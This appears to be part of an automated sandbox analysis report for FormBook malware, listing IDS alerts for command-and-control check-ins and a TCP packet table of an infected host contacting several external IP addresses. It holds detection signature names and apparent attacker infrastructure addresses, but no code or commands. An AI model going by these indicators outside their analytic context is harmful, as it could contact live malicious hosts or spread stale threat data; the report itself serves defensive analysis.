2024-11-22T14:45:30.073486+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.8	49716	203.161.49.193	80	TCP
2024-11-22T14:45:30.073486+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.8	49716	203.161.49.193	80	TCP
2024-11-22T14:45:36.965532+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.8	49717	3.33.130.190	80	TCP
2024-11-22T14:45:39.557692+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.8	49718	3.33.130.190	80	TCP
2024-11-22T14:45:42.145120+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.8	49719	3.33.130.190	80	TCP
2024-11-22T14:45:44.801631+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.8	49720	3.33.130.190	80	TCP
2024-11-22T14:45:44.801631+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.8	49720	3.33.130.190	80	TCP
2024-11-22T14:45:51.749224+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.8	49721	3.33.130.190	80	TCP
2024-11-22T14:45:54.510679+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.8	49722	3.33.130.190	80	TCP
2024-11-22T14:45:57.209645+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.8	49723	3.33.130.190	80	TCP
2024-11-22T14:45:59.907703+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.8	49724	3.33.130.190	80	TCP
2024-11-22T14:45:59.907703+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.8	49724	3.33.130.190	80	TCP
2024-11-22T14:46:06.938463+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.8	49725	198.252.98.54	80	TCP
2024-11-22T14:46:09.548475+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.8	49726	198.252.98.54	80	TCP
2024-11-22T14:46:12.157215+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.8	49727	198.252.98.54	80	TCP
2024-11-22T14:46:14.898190+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.8	49728	198.252.98.54	80	TCP
2024-11-22T14:46:14.898190+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.8	49728	198.252.98.54	80	TCP
2024-11-22T14:46:22.583498+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.8	49729	103.224.182.242	80	TCP
2024-11-22T14:46:25.163977+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.8	49730	103.224.182.242	80	TCP
2024-11-22T14:46:27.865598+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.8	49731	103.224.182.242	80	TCP
2024-11-22T14:46:30.465806+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.8	49732	103.224.182.242	80	TCP
2024-11-22T14:46:30.465806+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.8	49732	103.224.182.242	80	TCP
2024-11-22T14:46:38.032785+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.8	49733	154.23.184.218	80	TCP
2024-11-22T14:46:40.704853+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.8	49734	154.23.184.218	80	TCP
2024-11-22T14:46:43.360922+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.8	49735	154.23.184.218	80	TCP
2024-11-22T14:46:46.133779+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.8	49736	154.23.184.218	80	TCP
2024-11-22T14:46:46.133779+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.8	49736	154.23.184.218	80	TCP
2024-11-22T14:46:53.207473+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.8	49737	31.31.196.17	80	TCP
2024-11-22T14:46:55.800508+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.8	49738	31.31.196.17	80	TCP
2024-11-22T14:46:58.697237+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.8	49739	31.31.196.17	80	TCP
2024-11-22T14:47:01.304688+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.8	49740	31.31.196.17	80	TCP
2024-11-22T14:47:01.304688+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.8	49740	31.31.196.17	80	TCP
2024-11-22T14:47:08.567712+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.8	49741	64.190.63.222	80	TCP
2024-11-22T14:47:11.826466+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.8	49742	64.190.63.222	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 22, 2024 14:44:48.170980930 CET	49707	80	192.168.2.8	154.216.76.80
Nov 22, 2024 14:44:48.290842056 CET	80	49707	154.216.76.80	192.168.2.8
Nov 22, 2024 14:44:48.290934086 CET	49707	80	192.168.2.8	154.216.76.80
Nov 22, 2024 14:44:48.298755884 CET	49707	80	192.168.2.8	154.216.76.80
Nov 22, 2024 14:44:48.418308020 CET	80	49707	154.216.76.80	192.168.2.8
Nov 22, 2024 14:44:49.867388964 CET	80	49707	154.216.76.80	192.168.2.8
Nov 22, 2024 14:44:49.867465973 CET	80	49707	154.216.76.80	192.168.2.8
Nov 22, 2024 14:44:49.867696047 CET	49707	80	192.168.2.8	154.216.76.80
Nov 22, 2024 14:44:49.872209072 CET	49707	80	192.168.2.8	154.216.76.80
Nov 22, 2024 14:44:49.992161989 CET	80	49707	154.216.76.80	192.168.2.8
Nov 22, 2024 14:45:05.737591982 CET	49709	80	192.168.2.8	3.33.130.190
Nov 22, 2024 14:45:05.857315063 CET	80	49709	3.33.130.190	192.168.2.8
Nov 22, 2024 14:45:05.857486963 CET	49709	80	192.168.2.8	3.33.130.190
Nov 22, 2024 14:45:05.868563890 CET	49709	80	192.168.2.8	3.33.130.190
Nov 22, 2024 14:45:05.988437891 CET	80	49709	3.33.130.190	192.168.2.8
Nov 22, 2024 14:45:07.003319979 CET	80	49709	3.33.130.190	192.168.2.8
Nov 22, 2024 14:45:07.003448009 CET	49709	80	192.168.2.8	3.33.130.190
Nov 22, 2024 14:45:07.376720905 CET	49709	80	192.168.2.8	3.33.130.190
Nov 22, 2024 14:45:07.499356985 CET	80	49709	3.33.130.190	192.168.2.8
Nov 22, 2024 14:45:08.396285057 CET	49710	80	192.168.2.8	3.33.130.190
Nov 22, 2024 14:45:08.515964985 CET	80	49710	3.33.130.190	192.168.2.8
Nov 22, 2024 14:45:08.516064882 CET	49710	80	192.168.2.8	3.33.130.190
Nov 22, 2024 14:45:08.530750990 CET	49710	80	192.168.2.8	3.33.130.190
Nov 22, 2024 14:45:08.650362015 CET	80	49710	3.33.130.190	192.168.2.8
Nov 22, 2024 14:45:09.629456043 CET	80	49710	3.33.130.190	192.168.2.8
Nov 22, 2024 14:45:09.629527092 CET	49710	80	192.168.2.8	3.33.130.190
Nov 22, 2024 14:45:10.032658100 CET	49710	80	192.168.2.8	3.33.130.190
Nov 22, 2024 14:45:10.159288883 CET	80	49710	3.33.130.190	192.168.2.8
Nov 22, 2024 14:45:11.051498890 CET	49711	80	192.168.2.8	3.33.130.190
Nov 22, 2024 14:45:11.174329042 CET	80	49711	3.33.130.190	192.168.2.8
Nov 22, 2024 14:45:11.174442053 CET	49711	80	192.168.2.8	3.33.130.190
Nov 22, 2024 14:45:11.188309908 CET	49711	80	192.168.2.8	3.33.130.190
Nov 22, 2024 14:45:11.308115005 CET	80	49711	3.33.130.190	192.168.2.8
Nov 22, 2024 14:45:11.308129072 CET	80	49711	3.33.130.190	192.168.2.8
Nov 22, 2024 14:45:12.273524046 CET	80	49711	3.33.130.190	192.168.2.8
Nov 22, 2024 14:45:12.273605108 CET	49711	80	192.168.2.8	3.33.130.190
Nov 22, 2024 14:45:12.707086086 CET	49711	80	192.168.2.8	3.33.130.190
Nov 22, 2024 14:45:12.832832098 CET	80	49711	3.33.130.190	192.168.2.8
Nov 22, 2024 14:45:13.729852915 CET	49712	80	192.168.2.8	3.33.130.190
Nov 22, 2024 14:45:13.851943970 CET	80	49712	3.33.130.190	192.168.2.8
Nov 22, 2024 14:45:13.852605104 CET	49712	80	192.168.2.8	3.33.130.190
Nov 22, 2024 14:45:13.862771034 CET	49712	80	192.168.2.8	3.33.130.190
Nov 22, 2024 14:45:13.982309103 CET	80	49712	3.33.130.190	192.168.2.8
Nov 22, 2024 14:45:15.054389954 CET	80	49712	3.33.130.190	192.168.2.8
Nov 22, 2024 14:45:15.054500103 CET	80	49712	3.33.130.190	192.168.2.8
Nov 22, 2024 14:45:15.054578066 CET	49712	80	192.168.2.8	3.33.130.190
Nov 22, 2024 14:45:15.058794975 CET	49712	80	192.168.2.8	3.33.130.190
Nov 22, 2024 14:45:15.178498030 CET	80	49712	3.33.130.190	192.168.2.8
Nov 22, 2024 14:45:20.641294003 CET	49713	80	192.168.2.8	203.161.49.193
Nov 22, 2024 14:45:20.761279106 CET	80	49713	203.161.49.193	192.168.2.8
Nov 22, 2024 14:45:20.761464119 CET	49713	80	192.168.2.8	203.161.49.193
Nov 22, 2024 14:45:20.776297092 CET	49713	80	192.168.2.8	203.161.49.193
Nov 22, 2024 14:45:20.895860910 CET	80	49713	203.161.49.193	192.168.2.8
Nov 22, 2024 14:45:21.988147020 CET	80	49713	203.161.49.193	192.168.2.8
Nov 22, 2024 14:45:21.988270044 CET	80	49713	203.161.49.193	192.168.2.8
Nov 22, 2024 14:45:21.988358974 CET	49713	80	192.168.2.8	203.161.49.193
Nov 22, 2024 14:45:22.282715082 CET	49713	80	192.168.2.8	203.161.49.193
Nov 22, 2024 14:45:23.302525043 CET	49714	80	192.168.2.8	203.161.49.193
Nov 22, 2024 14:45:23.422454119 CET	80	49714	203.161.49.193	192.168.2.8
Nov 22, 2024 14:45:23.422671080 CET	49714	80	192.168.2.8	203.161.49.193
Nov 22, 2024 14:45:23.435933113 CET	49714	80	192.168.2.8	203.161.49.193
Nov 22, 2024 14:45:23.555372000 CET	80	49714	203.161.49.193	192.168.2.8
Nov 22, 2024 14:45:24.696316957 CET	80	49714	203.161.49.193	192.168.2.8
Nov 22, 2024 14:45:24.696399927 CET	80	49714	203.161.49.193	192.168.2.8
Nov 22, 2024 14:45:24.696464062 CET	49714	80	192.168.2.8	203.161.49.193
Nov 22, 2024 14:45:24.939084053 CET	49714	80	192.168.2.8	203.161.49.193
Nov 22, 2024 14:45:25.959274054 CET	49715	80	192.168.2.8	203.161.49.193
Nov 22, 2024 14:45:26.079114914 CET	80	49715	203.161.49.193	192.168.2.8
Nov 22, 2024 14:45:26.079272985 CET	49715	80	192.168.2.8	203.161.49.193
Nov 22, 2024 14:45:26.137670994 CET	49715	80	192.168.2.8	203.161.49.193
Nov 22, 2024 14:45:26.257467985 CET	80	49715	203.161.49.193	192.168.2.8
Nov 22, 2024 14:45:26.257585049 CET	80	49715	203.161.49.193	192.168.2.8
Nov 22, 2024 14:45:27.401501894 CET	80	49715	203.161.49.193	192.168.2.8
Nov 22, 2024 14:45:27.401572943 CET	80	49715	203.161.49.193	192.168.2.8
Nov 22, 2024 14:45:27.401706934 CET	49715	80	192.168.2.8	203.161.49.193
Nov 22, 2024 14:45:27.642143965 CET	49715	80	192.168.2.8	203.161.49.193
Nov 22, 2024 14:45:28.697917938 CET	49716	80	192.168.2.8	203.161.49.193
Nov 22, 2024 14:45:28.817729950 CET	80	49716	203.161.49.193	192.168.2.8
Nov 22, 2024 14:45:28.817909002 CET	49716	80	192.168.2.8	203.161.49.193
Nov 22, 2024 14:45:28.842729092 CET	49716	80	192.168.2.8	203.161.49.193
Nov 22, 2024 14:45:28.962469101 CET	80	49716	203.161.49.193	192.168.2.8
Nov 22, 2024 14:45:30.073261023 CET	80	49716	203.161.49.193	192.168.2.8
Nov 22, 2024 14:45:30.073277950 CET	80	49716	203.161.49.193	192.168.2.8
Nov 22, 2024 14:45:30.073486090 CET	49716	80	192.168.2.8	203.161.49.193
Nov 22, 2024 14:45:30.082729101 CET	49716	80	192.168.2.8	203.161.49.193
Nov 22, 2024 14:45:30.202449083 CET	80	49716	203.161.49.193	192.168.2.8
Nov 22, 2024 14:45:35.608947992 CET	49717	80	192.168.2.8	3.33.130.190
Nov 22, 2024 14:45:35.732158899 CET	80	49717	3.33.130.190	192.168.2.8
Nov 22, 2024 14:45:35.732254982 CET	49717	80	192.168.2.8	3.33.130.190
Nov 22, 2024 14:45:35.744465113 CET	49717	80	192.168.2.8	3.33.130.190
Nov 22, 2024 14:45:35.864556074 CET	80	49717	3.33.130.190	192.168.2.8
Nov 22, 2024 14:45:36.965468884 CET	80	49717	3.33.130.190	192.168.2.8
Nov 22, 2024 14:45:36.965532064 CET	49717	80	192.168.2.8	3.33.130.190
Nov 22, 2024 14:45:37.251415968 CET	49717	80	192.168.2.8	3.33.130.190
Nov 22, 2024 14:45:37.371037006 CET	80	49717	3.33.130.190	192.168.2.8
Nov 22, 2024 14:45:38.270577908 CET	49718	80	192.168.2.8	3.33.130.190
Nov 22, 2024 14:45:38.390295982 CET	80	49718	3.33.130.190	192.168.2.8
Nov 22, 2024 14:45:38.390487909 CET	49718	80	192.168.2.8	3.33.130.190
Nov 22, 2024 14:45:38.399326086 CET	49718	80	192.168.2.8	3.33.130.190
Nov 22, 2024 14:45:38.519227982 CET	80	49718	3.33.130.190	192.168.2.8
Nov 22, 2024 14:45:39.557591915 CET	80	49718	3.33.130.190	192.168.2.8
Nov 22, 2024 14:45:39.557692051 CET	49718	80	192.168.2.8	3.33.130.190
Nov 22, 2024 14:45:39.907680988 CET	49718	80	192.168.2.8	3.33.130.190
Nov 22, 2024 14:45:40.027270079 CET	80	49718	3.33.130.190	192.168.2.8
Nov 22, 2024 14:45:40.926944017 CET	49719	80	192.168.2.8	3.33.130.190
Nov 22, 2024 14:45:41.046679020 CET	80	49719	3.33.130.190	192.168.2.8
Nov 22, 2024 14:45:41.049298048 CET	49719	80	192.168.2.8	3.33.130.190
Nov 22, 2024 14:45:41.062104940 CET	49719	80	192.168.2.8	3.33.130.190
Nov 22, 2024 14:45:41.181890965 CET	80	49719	3.33.130.190	192.168.2.8
Nov 22, 2024 14:45:41.181915045 CET	80	49719	3.33.130.190	192.168.2.8
Nov 22, 2024 14:45:42.145050049 CET	80	49719	3.33.130.190	192.168.2.8
Nov 22, 2024 14:45:42.145119905 CET	49719	80	192.168.2.8	3.33.130.190
Nov 22, 2024 14:45:42.564510107 CET	49719	80	192.168.2.8	3.33.130.190
Nov 22, 2024 14:45:42.684248924 CET	80	49719	3.33.130.190	192.168.2.8
Nov 22, 2024 14:45:43.583056927 CET	49720	80	192.168.2.8	3.33.130.190
Nov 22, 2024 14:45:43.702749014 CET	80	49720	3.33.130.190	192.168.2.8
Nov 22, 2024 14:45:43.702922106 CET	49720	80	192.168.2.8	3.33.130.190
Nov 22, 2024 14:45:43.709770918 CET	49720	80	192.168.2.8	3.33.130.190
Nov 22, 2024 14:45:43.830696106 CET	80	49720	3.33.130.190	192.168.2.8
Nov 22, 2024 14:45:44.801428080 CET	80	49720	3.33.130.190	192.168.2.8
Nov 22, 2024 14:45:44.801467896 CET	80	49720	3.33.130.190	192.168.2.8
Nov 22, 2024 14:45:44.801630974 CET	49720	80	192.168.2.8	3.33.130.190
Nov 22, 2024 14:45:44.804248095 CET	49720	80	192.168.2.8	3.33.130.190
Nov 22, 2024 14:45:44.928148031 CET	80	49720	3.33.130.190	192.168.2.8
Nov 22, 2024 14:45:50.525703907 CET	49721	80	192.168.2.8	3.33.130.190
Nov 22, 2024 14:45:50.645358086 CET	80	49721	3.33.130.190	192.168.2.8
Nov 22, 2024 14:45:50.645565033 CET	49721	80	192.168.2.8	3.33.130.190
Nov 22, 2024 14:45:50.654340029 CET	49721	80	192.168.2.8	3.33.130.190
Nov 22, 2024 14:45:50.777194977 CET	80	49721	3.33.130.190	192.168.2.8
Nov 22, 2024 14:45:51.749124050 CET	80	49721	3.33.130.190	192.168.2.8
Nov 22, 2024 14:45:51.749223948 CET	49721	80	192.168.2.8	3.33.130.190
Nov 22, 2024 14:45:52.158586979 CET	49721	80	192.168.2.8	3.33.130.190
Nov 22, 2024 14:45:52.279269934 CET	80	49721	3.33.130.190	192.168.2.8
Nov 22, 2024 14:45:53.200910091 CET	49722	80	192.168.2.8	3.33.130.190
Nov 22, 2024 14:45:53.320703983 CET	80	49722	3.33.130.190	192.168.2.8
Nov 22, 2024 14:45:53.320842981 CET	49722	80	192.168.2.8	3.33.130.190
Nov 22, 2024 14:45:53.367153883 CET	49722	80	192.168.2.8	3.33.130.190
Nov 22, 2024 14:45:53.487152100 CET	80	49722	3.33.130.190	192.168.2.8
Nov 22, 2024 14:45:54.510565996 CET	80	49722	3.33.130.190	192.168.2.8
Nov 22, 2024 14:45:54.510679007 CET	49722	80	192.168.2.8	3.33.130.190
Nov 22, 2024 14:45:54.876415014 CET	49722	80	192.168.2.8	3.33.130.190
Nov 22, 2024 14:45:54.997056961 CET	80	49722	3.33.130.190	192.168.2.8
Nov 22, 2024 14:45:55.895447969 CET	49723	80	192.168.2.8	3.33.130.190
Nov 22, 2024 14:45:56.015615940 CET	80	49723	3.33.130.190	192.168.2.8
Nov 22, 2024 14:45:56.016102076 CET	49723	80	192.168.2.8	3.33.130.190
Nov 22, 2024 14:45:56.025079966 CET	49723	80	192.168.2.8	3.33.130.190
Nov 22, 2024 14:45:56.148356915 CET	80	49723	3.33.130.190	192.168.2.8
Nov 22, 2024 14:45:56.148416996 CET	80	49723	3.33.130.190	192.168.2.8
Nov 22, 2024 14:45:57.209455967 CET	80	49723	3.33.130.190	192.168.2.8
Nov 22, 2024 14:45:57.209645033 CET	49723	80	192.168.2.8	3.33.130.190
Nov 22, 2024 14:45:57.532665014 CET	49723	80	192.168.2.8	3.33.130.190
Nov 22, 2024 14:45:57.652303934 CET	80	49723	3.33.130.190	192.168.2.8
Nov 22, 2024 14:45:58.553682089 CET	49724	80	192.168.2.8	3.33.130.190
Nov 22, 2024 14:45:58.673372030 CET	80	49724	3.33.130.190	192.168.2.8
Nov 22, 2024 14:45:58.673460960 CET	49724	80	192.168.2.8	3.33.130.190
Nov 22, 2024 14:45:58.682178974 CET	49724	80	192.168.2.8	3.33.130.190
Nov 22, 2024 14:45:58.802165031 CET	80	49724	3.33.130.190	192.168.2.8
Nov 22, 2024 14:45:59.907481909 CET	80	49724	3.33.130.190	192.168.2.8
Nov 22, 2024 14:45:59.907497883 CET	80	49724	3.33.130.190	192.168.2.8
Nov 22, 2024 14:45:59.907702923 CET	49724	80	192.168.2.8	3.33.130.190
Nov 22, 2024 14:45:59.911556959 CET	49724	80	192.168.2.8	3.33.130.190
Nov 22, 2024 14:46:00.031241894 CET	80	49724	3.33.130.190	192.168.2.8
Nov 22, 2024 14:46:05.505717993 CET	49725	80	192.168.2.8	198.252.98.54
Nov 22, 2024 14:46:05.625442982 CET	80	49725	198.252.98.54	192.168.2.8
Nov 22, 2024 14:46:05.625533104 CET	49725	80	192.168.2.8	198.252.98.54
Nov 22, 2024 14:46:05.637442112 CET	49725	80	192.168.2.8	198.252.98.54
Nov 22, 2024 14:46:05.757121086 CET	80	49725	198.252.98.54	192.168.2.8
Nov 22, 2024 14:46:06.938314915 CET	80	49725	198.252.98.54	192.168.2.8
Nov 22, 2024 14:46:06.938333988 CET	80	49725	198.252.98.54	192.168.2.8
Nov 22, 2024 14:46:06.938462973 CET	49725	80	192.168.2.8	198.252.98.54
Nov 22, 2024 14:46:07.142316103 CET	49725	80	192.168.2.8	198.252.98.54
Nov 22, 2024 14:46:08.161606073 CET	49726	80	192.168.2.8	198.252.98.54
Nov 22, 2024 14:46:08.281200886 CET	80	49726	198.252.98.54	192.168.2.8
Nov 22, 2024 14:46:08.281480074 CET	49726	80	192.168.2.8	198.252.98.54
Nov 22, 2024 14:46:08.293920994 CET	49726	80	192.168.2.8	198.252.98.54
Nov 22, 2024 14:46:08.413511038 CET	80	49726	198.252.98.54	192.168.2.8
Nov 22, 2024 14:46:09.548312902 CET	80	49726	198.252.98.54	192.168.2.8
Nov 22, 2024 14:46:09.548413038 CET	80	49726	198.252.98.54	192.168.2.8
Nov 22, 2024 14:46:09.548475027 CET	49726	80	192.168.2.8	198.252.98.54
Nov 22, 2024 14:46:09.798337936 CET	49726	80	192.168.2.8	198.252.98.54
Nov 22, 2024 14:46:10.816610098 CET	49727	80	192.168.2.8	198.252.98.54
Nov 22, 2024 14:46:10.936160088 CET	80	49727	198.252.98.54	192.168.2.8
Nov 22, 2024 14:46:10.936403036 CET	49727	80	192.168.2.8	198.252.98.54
Nov 22, 2024 14:46:10.945439100 CET	49727	80	192.168.2.8	198.252.98.54
Nov 22, 2024 14:46:11.065754890 CET	80	49727	198.252.98.54	192.168.2.8
Nov 22, 2024 14:46:11.065810919 CET	80	49727	198.252.98.54	192.168.2.8
Nov 22, 2024 14:46:12.157075882 CET	80	49727	198.252.98.54	192.168.2.8
Nov 22, 2024 14:46:12.157130003 CET	80	49727	198.252.98.54	192.168.2.8
Nov 22, 2024 14:46:12.157215118 CET	49727	80	192.168.2.8	198.252.98.54
Nov 22, 2024 14:46:12.454662085 CET	49727	80	192.168.2.8	198.252.98.54
Nov 22, 2024 14:46:13.473866940 CET	49728	80	192.168.2.8	198.252.98.54
Nov 22, 2024 14:46:13.593575954 CET	80	49728	198.252.98.54	192.168.2.8
Nov 22, 2024 14:46:13.593729019 CET	49728	80	192.168.2.8	198.252.98.54
Nov 22, 2024 14:46:13.601231098 CET	49728	80	192.168.2.8	198.252.98.54
Nov 22, 2024 14:46:13.721007109 CET	80	49728	198.252.98.54	192.168.2.8
Nov 22, 2024 14:46:14.897952080 CET	80	49728	198.252.98.54	192.168.2.8
Nov 22, 2024 14:46:14.897975922 CET	80	49728	198.252.98.54	192.168.2.8
Nov 22, 2024 14:46:14.898190022 CET	49728	80	192.168.2.8	198.252.98.54
Nov 22, 2024 14:46:14.901071072 CET	49728	80	192.168.2.8	198.252.98.54
Nov 22, 2024 14:46:15.020648956 CET	80	49728	198.252.98.54	192.168.2.8
Nov 22, 2024 14:46:21.093620062 CET	49729	80	192.168.2.8	103.224.182.242
Nov 22, 2024 14:46:21.213851929 CET	80	49729	103.224.182.242	192.168.2.8
Nov 22, 2024 14:46:21.213979006 CET	49729	80	192.168.2.8	103.224.182.242
Nov 22, 2024 14:46:21.224944115 CET	49729	80	192.168.2.8	103.224.182.242
Nov 22, 2024 14:46:21.346292019 CET	80	49729	103.224.182.242	192.168.2.8
Nov 22, 2024 14:46:22.583301067 CET	80	49729	103.224.182.242	192.168.2.8
Nov 22, 2024 14:46:22.583431959 CET	80	49729	103.224.182.242	192.168.2.8
Nov 22, 2024 14:46:22.583498001 CET	49729	80	192.168.2.8	103.224.182.242
Nov 22, 2024 14:46:22.735939026 CET	49729	80	192.168.2.8	103.224.182.242
Nov 22, 2024 14:46:23.754286051 CET	49730	80	192.168.2.8	103.224.182.242
Nov 22, 2024 14:46:23.873990059 CET	80	49730	103.224.182.242	192.168.2.8
Nov 22, 2024 14:46:23.874175072 CET	49730	80	192.168.2.8	103.224.182.242
Nov 22, 2024 14:46:23.882862091 CET	49730	80	192.168.2.8	103.224.182.242
Nov 22, 2024 14:46:24.002579927 CET	80	49730	103.224.182.242	192.168.2.8
Nov 22, 2024 14:46:25.163870096 CET	80	49730	103.224.182.242	192.168.2.8
Nov 22, 2024 14:46:25.163908958 CET	80	49730	103.224.182.242	192.168.2.8
Nov 22, 2024 14:46:25.163976908 CET	49730	80	192.168.2.8	103.224.182.242
Nov 22, 2024 14:46:25.392149925 CET	49730	80	192.168.2.8	103.224.182.242
Nov 22, 2024 14:46:26.415712118 CET	49731	80	192.168.2.8	103.224.182.242
Nov 22, 2024 14:46:26.535427094 CET	80	49731	103.224.182.242	192.168.2.8
Nov 22, 2024 14:46:26.535561085 CET	49731	80	192.168.2.8	103.224.182.242
Nov 22, 2024 14:46:26.546710014 CET	49731	80	192.168.2.8	103.224.182.242
Nov 22, 2024 14:46:26.666501999 CET	80	49731	103.224.182.242	192.168.2.8
Nov 22, 2024 14:46:26.666523933 CET	80	49731	103.224.182.242	192.168.2.8
Nov 22, 2024 14:46:27.865304947 CET	80	49731	103.224.182.242	192.168.2.8
Nov 22, 2024 14:46:27.865339994 CET	80	49731	103.224.182.242	192.168.2.8
Nov 22, 2024 14:46:27.865597963 CET	49731	80	192.168.2.8	103.224.182.242
Nov 22, 2024 14:46:28.048391104 CET	49731	80	192.168.2.8	103.224.182.242
Nov 22, 2024 14:46:29.067111015 CET	49732	80	192.168.2.8	103.224.182.242
Nov 22, 2024 14:46:29.186753035 CET	80	49732	103.224.182.242	192.168.2.8
Nov 22, 2024 14:46:29.187056065 CET	49732	80	192.168.2.8	103.224.182.242
Nov 22, 2024 14:46:29.195655107 CET	49732	80	192.168.2.8	103.224.182.242
Nov 22, 2024 14:46:29.315335989 CET	80	49732	103.224.182.242	192.168.2.8
Nov 22, 2024 14:46:30.465423107 CET	80	49732	103.224.182.242	192.168.2.8
Nov 22, 2024 14:46:30.465539932 CET	80	49732	103.224.182.242	192.168.2.8
Nov 22, 2024 14:46:30.465574026 CET	80	49732	103.224.182.242	192.168.2.8
Nov 22, 2024 14:46:30.465806007 CET	49732	80	192.168.2.8	103.224.182.242
Nov 22, 2024 14:46:30.465806007 CET	49732	80	192.168.2.8	103.224.182.242
Nov 22, 2024 14:46:30.468641996 CET	49732	80	192.168.2.8	103.224.182.242
Nov 22, 2024 14:46:30.588252068 CET	80	49732	103.224.182.242	192.168.2.8
Nov 22, 2024 14:46:36.397830009 CET	49733	80	192.168.2.8	154.23.184.218
Nov 22, 2024 14:46:36.517748117 CET	80	49733	154.23.184.218	192.168.2.8
Nov 22, 2024 14:46:36.517867088 CET	49733	80	192.168.2.8	154.23.184.218
Nov 22, 2024 14:46:36.529112101 CET	49733	80	192.168.2.8	154.23.184.218
Nov 22, 2024 14:46:36.649667025 CET	80	49733	154.23.184.218	192.168.2.8
Nov 22, 2024 14:46:38.032784939 CET	49733	80	192.168.2.8	154.23.184.218
Nov 22, 2024 14:46:38.089654922 CET	80	49733	154.23.184.218	192.168.2.8
Nov 22, 2024 14:46:38.089787006 CET	80	49733	154.23.184.218	192.168.2.8
Nov 22, 2024 14:46:38.089967966 CET	49733	80	192.168.2.8	154.23.184.218
Nov 22, 2024 14:46:38.089967966 CET	49733	80	192.168.2.8	154.23.184.218
Nov 22, 2024 14:46:38.152295113 CET	80	49733	154.23.184.218	192.168.2.8
Nov 22, 2024 14:46:38.152499914 CET	49733	80	192.168.2.8	154.23.184.218
Nov 22, 2024 14:46:39.052858114 CET	49734	80	192.168.2.8	154.23.184.218
Nov 22, 2024 14:46:39.172796965 CET	80	49734	154.23.184.218	192.168.2.8
Nov 22, 2024 14:46:39.173837900 CET	49734	80	192.168.2.8	154.23.184.218
Nov 22, 2024 14:46:39.191097975 CET	49734	80	192.168.2.8	154.23.184.218
Nov 22, 2024 14:46:39.310872078 CET	80	49734	154.23.184.218	192.168.2.8
Nov 22, 2024 14:46:40.704853058 CET	49734	80	192.168.2.8	154.23.184.218
Nov 22, 2024 14:46:40.800514936 CET	80	49734	154.23.184.218	192.168.2.8
Nov 22, 2024 14:46:40.800586939 CET	49734	80	192.168.2.8	154.23.184.218
Nov 22, 2024 14:46:40.800592899 CET	80	49734	154.23.184.218	192.168.2.8
Nov 22, 2024 14:46:40.800643921 CET	49734	80	192.168.2.8	154.23.184.218
Nov 22, 2024 14:46:40.824551105 CET	80	49734	154.23.184.218	192.168.2.8
Nov 22, 2024 14:46:40.824655056 CET	49734	80	192.168.2.8	154.23.184.218
Nov 22, 2024 14:46:41.723628998 CET	49735	80	192.168.2.8	154.23.184.218
Nov 22, 2024 14:46:41.843556881 CET	80	49735	154.23.184.218	192.168.2.8
Nov 22, 2024 14:46:41.843712091 CET	49735	80	192.168.2.8	154.23.184.218
Nov 22, 2024 14:46:41.854500055 CET	49735	80	192.168.2.8	154.23.184.218
Nov 22, 2024 14:46:41.974706888 CET	80	49735	154.23.184.218	192.168.2.8
Nov 22, 2024 14:46:41.974757910 CET	80	49735	154.23.184.218	192.168.2.8
Nov 22, 2024 14:46:43.360922098 CET	49735	80	192.168.2.8	154.23.184.218
Nov 22, 2024 14:46:43.418164968 CET	80	49735	154.23.184.218	192.168.2.8
Nov 22, 2024 14:46:43.418289900 CET	80	49735	154.23.184.218	192.168.2.8
Nov 22, 2024 14:46:43.418308973 CET	49735	80	192.168.2.8	154.23.184.218
Nov 22, 2024 14:46:43.418380976 CET	49735	80	192.168.2.8	154.23.184.218
Nov 22, 2024 14:46:43.480703115 CET	80	49735	154.23.184.218	192.168.2.8
Nov 22, 2024 14:46:43.480992079 CET	49735	80	192.168.2.8	154.23.184.218
Nov 22, 2024 14:46:44.380143881 CET	49736	80	192.168.2.8	154.23.184.218
Nov 22, 2024 14:46:44.500030041 CET	80	49736	154.23.184.218	192.168.2.8
Nov 22, 2024 14:46:44.500372887 CET	49736	80	192.168.2.8	154.23.184.218
